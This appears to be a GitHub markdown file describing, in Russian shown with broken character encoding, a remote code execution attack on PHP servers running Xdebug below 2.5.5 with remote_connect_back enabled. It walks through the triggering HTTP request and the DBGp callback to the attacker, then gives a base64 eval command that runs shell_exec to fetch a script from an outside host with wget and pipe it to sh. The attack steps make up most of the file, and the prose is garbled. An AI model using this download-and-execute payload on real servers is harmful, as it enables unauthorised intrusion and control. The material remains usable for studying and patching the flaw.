Skip to content

attack-scenario.md

Latest commit

聽

History

History
63 lines (41 loc) 路 2.82 KB

attack-scenario.md

File metadata and controls

63 lines (41 loc) 路 2.82 KB
Raw

袗褌邪泻邪 薪邪 褋械褉胁械褉, 懈褋锌芯谢褜蟹褍褞褖邪褟 褍褟蟹胁懈屑芯褋褌褜 php-屑芯写褍谢褟 Xdebug 胁械褉褋懈懈 < 2.5.5

袗褌邪泻邪 锌芯蟹胁芯谢褟械褌 胁褘锌芯谢薪褟褌褜 褋懈褋褌械屑薪褘械 泻芯屑屑邪薪写褘 芯褌 懈屑械薪懈 锌芯谢褜蟹芯胁邪褌械谢褟 胁械斜褋械褉胁械褉邪.

小褌邪褌褜懈 薪邪 褌械屑褍:

xpwn - exploiting xdebug enabled servers

Xdebug: A Tiny Attack Surface

xdebug < 2.5.5 - OS Command Execution (Metasploit)

袨褋薪芯胁薪邪褟 锌褉芯斜谢械屑邪 蟹邪泻谢褞褔邪械褌褋褟 胁 褍褟蟹胁懈屑芯泄 泻芯薪褎懈褉褍褉邪褑懈懈 xdebug.ini, 邪 懈屑械薪薪芯 胁芯 胁泻谢褞褔械薪薪芯泄 褍写邪谢械薪薪芯泄 芯褌谢邪写泻械 c 芯锌褑懈械泄 xdebug.remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

袩褉懈屑械褉 邪褌邪泻懈:

5.8.54.27 - IP 邪写褉械褋 邪褌邪泻褍褞褖械谐芯 泻谢懈械薪褌邪

192.168.1.99 - IP 邪写褉械褋 邪褌邪泻褍械屑芯谐芯 褋械褉胁械褉邪

  1. 袗褌邪泻褍褞褖懈泄 泻谢懈械薪褌 写械谢邪械褌 GET-蟹邪锌褉芯褋 泻 褋械褉胁械褉褍 锌芯 锌褉芯褌芯泻芯谢褍 HTTP:

    5.8.54.27:47927 => 192.168.1.99:80

 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
 Host: 91.193.237.57
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
 Connection: close
 Accept-Encoding: gzip

  1. 袙 芯褌胁械褌 薪邪 蟹邪锌褉芯褋 php-屑芯写褍谢褜 Xdebug 薪邪 邪褌邪泻褍械屑芯屑 褋械褉胁械褉械 褎芯褉屑懈褉褍械褌 芯褌胁械褌, 懈褋锌芯谢褜蟹褍褟 锌褉芯褌芯泻芯谢 DBGp.

    袙 褋谢褍褔邪械 褍褋锌械褕薪芯谐芯 褋芯械写懈薪械薪懈褟 邪褌邪泻褍褞褖懈泄 泻谢懈械薪褌 锌芯谢褍褔邪械褌 写邪薪薪褘械 胁 褎芯褉屑邪褌械 XML 薪邪 9000 锌芯褉褌:

    192.168.1.99:52616 => 5.8.54.27:9000

<?xml version="1.0" encoding="iso-8859-1"?>
    <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug"
      fileuri="file:///var/www/work/web/index.php" language="PHP" protocol_version="1.0"
      appid="2904" idekey="phpstorm">
    <engine version="2.3.3"><![CDATA[Xdebug]]></engine>
    <author><![CDATA[Derick Rethans]]></author>
    <url><![CDATA[http://xdebug.org]]></url>
    <copyright><![CDATA[Copyright (c) 2002-2015 by Derick Rethans]]></copyright>
</init>

  1. 孝械锌械褉褜 邪褌邪泻褍褞褖懈泄 泻谢懈械薪褌 胁褘锌芯谢薪械褌 泻芯屑屑邪薪写褘 锌芯 锌褉芯褌芯泻芯谢褍 DBGp 芯褌 懈屑械薪懈 锌芯谢褜蟹芯胁邪褌械谢褟 胁械斜褋械褉胁械褉邪.

    5.8.54.27:9000 => 192.168.1.99:52616

eval -i 1 -- c2hlbGxfZXhlYygnd2dldCAtcSAtTyAtIGh0dHA6Ly8xLjExMS4xMTEuMTExL2V4cGxvaXQuc2h8c2gnKTs=

袛邪薪薪邪褟 泻芯屑屑邪薪写邪 胁褘锌芯谢薪褟械褌 php 泻芯写: shell_exec('wget -q -O - http://1.111.111.111/exploit.sh|sh');